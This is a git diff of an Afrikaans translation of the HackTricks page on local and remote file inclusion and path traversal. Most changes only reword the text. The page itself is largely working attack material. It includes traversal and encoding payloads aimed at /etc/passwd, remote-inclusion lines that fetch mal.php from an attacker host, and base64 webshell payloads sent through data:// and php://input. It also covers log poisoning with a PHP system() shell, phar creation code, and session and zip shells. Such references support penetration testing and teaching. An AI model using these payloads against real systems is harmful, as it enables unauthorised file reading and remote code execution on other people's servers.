||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bestandsinsluiting/Pad traversie
|
||||
# Bestandsinsluiting/Pad traversering
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,12 +15,12 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
|
@ -93,7 +93,7 @@ Dit is **opgelos sedert PHP 5.4**
|
|||
|
||||
### **Kodering**
|
||||
|
||||
Jy kan nie-standaard kodering soos dubbele URL-kodering (en ander) gebruik:
|
||||
Jy kan nie-standaard kodering gebruik soos dubbele URL-kodering (en ander):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
|
@ -108,9 +108,9 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
```
|
||||
### Verkenning van Lêerstelsels op 'n Bediener
|
||||
|
||||
Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||
Die lêerstelsel van 'n bediener kan herhalend verken word om direkteure te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die diepte van die direkteur en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||
|
||||
1. **Bepaal Directory Diepte:** Bepaal die diepte van jou huidige directory deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
|
||||
1. **Bepaal Direkteur Diepte:** Bepaal die diepte van jou huidige direkteur deur suksesvol die `/etc/passwd` lêer te verkry (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
|
@ -119,7 +119,7 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpret die Uitslae:** Die bediener se antwoord dui aan of die gids bestaan:
|
||||
* **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde plek nie.
|
||||
* **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
|
||||
* **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
|
||||
4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
|
||||
|
||||
|
@ -131,11 +131,11 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
|
||||
Pad truncasie is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
|
||||
|
||||
In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
||||
In PHP kan verskeie voorstellings van 'n lêerpad as gelyk beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
||||
|
||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad hanteer.
|
||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad beskou.
|
||||
* Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
|
||||
* Op soortgelyke wyse, as `.php` aan 'n lêerpad gevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry nie, verander.
|
||||
* Op soortgelyke wyse, as `.php` aan 'n lêerpad (soos `shellcode.php`) gevoeg word, sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry nie, verander.
|
||||
|
||||
Die verskafde voorbeelde demonstreer hoe om pad truncasie te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
|
||||
```
|
||||
|
@ -147,9 +147,9 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
||||
In hierdie scenario's mag die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
||||
|
||||
* **Gebruik van Punte Segmente en Addisionele Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punte segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
|
||||
* **Gebruik van Punt Segmente en Addisionele Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
|
||||
* **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde stringe (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
|
||||
* **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om die vereistes van die bediener se pad parsingslogika te vervul.
|
||||
|
||||
|
@ -167,12 +167,12 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
|
||||
In php is dit standaard deaktiveer omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
As dit om een of ander rede **`allow_url_include`** **Aan** is, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:
|
||||
As dit om een of ander rede **`allow_url_include`** **Aan** is, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die dataprotocol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer).
|
||||
In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat op `.txt` eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer).
|
||||
{% endhint %}
|
||||
|
||||
Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
|
||||
|
@ -206,7 +206,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||
```
|
||||
Dit is die bedoelde gedrag volgens [die dokumentasie](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die aansluiting voort vanaf die absolute padkomponent.
|
||||
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute padkomponent.
|
||||
|
||||
## Java Lys Gidsen
|
||||
|
||||
|
@ -252,7 +252,7 @@ PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gele
|
|||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Verwyder etikette van die data (alles tussen "<" en ">" karakters)
|
||||
* `string.strip_tags`: Verwyder tags van die data (alles tussen "<" en ">" karakters)
|
||||
* Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
|
||||
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
|
@ -267,7 +267,7 @@ Deur die `convert.iconv.*` omskakelingsfilter te misbruik, kan jy **arbitraire t
|
|||
|
||||
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)
|
||||
* `zlib.inflate`: Dekomprimeer die data
|
||||
* `zlib.inflate`: Decomprimeer die data
|
||||
* [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : Verouderd
|
||||
* `mdecrypt.*` : Verouderd
|
||||
|
@ -312,21 +312,21 @@ Die deel "php://filter" is nie hooflettergevoelig nie
|
|||
|
||||
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
|
||||
|
||||
* Gebruik die kodek **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.
|
||||
* Dit sal gebruik word om 'n **teks so groot te genereer wanneer die aanvanklike letter korrek geraai word** dat php 'n **fout** sal aktiveer.
|
||||
* Gebruik die kode **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.
|
||||
* Dit sal gebruik word om 'n **teks so groot te genereer wanneer die aanvanklike letter korrek geraai word** dat php 'n **fout** sal veroorsaak.
|
||||
* Die **dechunk** filter sal **alles verwyder as die eerste karakter nie 'n hexadesimale is nie**, sodat ons kan weet of die eerste karakter hex is.
|
||||
* Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php-fout veroorsaak.
|
||||
* Die kodek **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie kodek: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld, want as ons 6 van hierdie kodek toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word geaktiveer omdat dit vermenigvuldig met die aanvanklike bom.
|
||||
* Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeks kan gebruik word om ander letters na die hex-reeks te beweeg).
|
||||
* Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
|
||||
* Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheuefilters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
||||
* En ten einde **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit te **pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
* Die kode **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie kode: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld, want as ons 6 van hierdie kode toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word veroorsaak omdat dit met die aanvanklike bom vermenigvuldig.
|
||||
* Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodes kan gebruik word om ander letters na die hex-reeks te beweeg).
|
||||
* Wanneer die aanvanklike karakter 'n nommer is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die nommer te lek.
|
||||
* Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
||||
* En ten einde **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit te **pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Hou aan om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
|
||||
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Hierdie wrapper laat toegang toe tot lêerdeskriptor wat die proses oop het. Potensieel nuttig om die inhoud van geopende lêers te eksfiltreer:
|
||||
Hierdie wrapper stel jou in staat om lêerdescriptors te benader wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
|
@ -361,7 +361,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Let daarop dat hierdie protokol beperk word deur php konfigurasies **`allow_url_open`** en **`allow_url_include`**
|
||||
Let wel dat hierdie protokol beperk word deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
|
@ -378,7 +378,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||
```
|
||||
### phar://
|
||||
|
||||
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kodesnit hieronder demonstreer die skepping van 'n `.phar`-lêer:
|
||||
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kodefragment hieronder demonstreer die skepping van 'n `.phar`-lêer:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -406,20 +406,20 @@ For a detailed understanding of exploiting deserialization vulnerabilities in th
|
|||
### CVE-2024-2961
|
||||
|
||||
Dit was moontlik om **enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**in hierdie pos gevind word**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Baie vinnige opsomming: 'n **3 byte oorgang** in die PHP heap is misbruik om die **ketting van vrye stukke** van 'n spesifieke grootte te **verander** sodat dit moontlik was om **enigiets in enige adres te skryf**, so 'n haak is bygevoeg om **`system`** aan te roep.\
|
||||
Baie vinnige opsomming: 'n **3 byte oorgang** in die PHP-heap is misbruik om die **ketting van vrye stukke** van 'n spesifieke grootte te **verander** sodat dit moontlik was om **enigiets in enige adres te skryf**, so 'n haak is bygevoeg om **`system`** aan te roep.\
|
||||
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
|
||||
|
||||
### More protocols
|
||||
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluit aanval nie)
|
||||
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêerinvoegaanval nie)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URL's
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URL's
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Veilige Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
@ -440,9 +440,9 @@ Net so, om arbitrêre stelselskommando's uit te voer, kan 'n mens gebruik maak v
|
|||
```
|
||||
Dit is belangrik om **URL-encode hierdie payloads**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
@ -461,7 +461,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
Hierdie tegniek is relevant in gevalle waar jy **beheer** oor die **lêerpad** van 'n **PHP funksie** het wat 'n **lêer** sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
|
||||
{% endhint %}
|
||||
|
||||
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP filter om **die inhoud van 'n lêer via 'n fout orakel te exfiltreer**.
|
||||
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP filter om **die inhoud van 'n lêer via 'n fout oracle' te exfiltreer**.
|
||||
|
||||
In samevatting, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
|
||||
|
||||
|
@ -469,7 +469,7 @@ Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam m
|
|||
|
||||
**Funksies wat kwesbaar mag wees**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (slegs teiken lees net hiermee)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Vir die tegniese besonderhede kyk na die genoemde pos!
|
||||
Vir die tegniese besonderhede, kyk na die genoemde pos!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
|
@ -479,15 +479,15 @@ Soos voorheen verduidelik, [**volg hierdie skakel**](./#remote-file-inclusion).
|
|||
|
||||
### Via Apache/Nginx log lêer
|
||||
|
||||
As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfunksie kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in
|
||||
As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfunksie, kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat **as jy dubbele aanhalings gebruik** vir die shell in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
|
||||
Let daarop dat **as jy dubbele aanhalings** vir die shell gebruik in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
|
||||
|
||||
Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout maak wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
{% endhint %}
|
||||
|
||||
Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kop **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kop ingevoeg word.\
|
||||
Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kopstuk **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kopstuk ingevoeg word.\
|
||||
Ander moontlike log paaie:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -526,15 +526,15 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
|||
```
|
||||
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
|
||||
|
||||
### Via Zip lêer opgelaai
|
||||
### Deur Zip lêer op te laai
|
||||
|
||||
Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP-sessies
|
||||
### Deur PHP sessies
|
||||
|
||||
Kontroleer of die webwerf PHP-sessie (PHPSESSID) gebruik
|
||||
Kontroleer of die webwerf PHP Sessies (PHPSESSID) gebruik
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
|
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
```
|
||||
### Via php filters (geen lêer nodig)
|
||||
|
||||
Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** vir die insluiting kan **genereer sonder om** dit in 'n lêer te skryf.
|
||||
Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php-filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php-kode** vir die insluiting kan **genereer sonder om** dit in 'n lêer te skryf.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -613,7 +613,7 @@ As jy 'n **Plaaslike Lêer Insluiting** gevind het en die bediener loop in **Win
|
|||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
Soos [**verduidelik in hierdie pos**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die skrip `/usr/local/lib/phppearcmd.php` standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL parameter nie 'n `=` het nie, dit as 'n argument gebruik moet word.
|
||||
Soos [**verduidelik in hierdie pos**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die skrip `/usr/local/lib/phppearcmd.php` standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL-param nie 'n `=` het nie, dit as 'n argument gebruik moet word.
|
||||
|
||||
Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
|
||||
|
||||
|
@ -640,7 +640,7 @@ As jy 'n **Local File Inclusion** en 'n lêer wat **phpinfo()** blootstel met fi
|
|||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** **kontroleer** of die **lêer wat ingesluit moet word PHP-merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
|
||||
As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** is **besig om** te **kontroleer** of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -670,7 +670,7 @@ _Alhoewel jy 'n PHP Fatal Error veroorsaak, word PHP tydelike lêers wat opgelaa
|
|||
|
||||
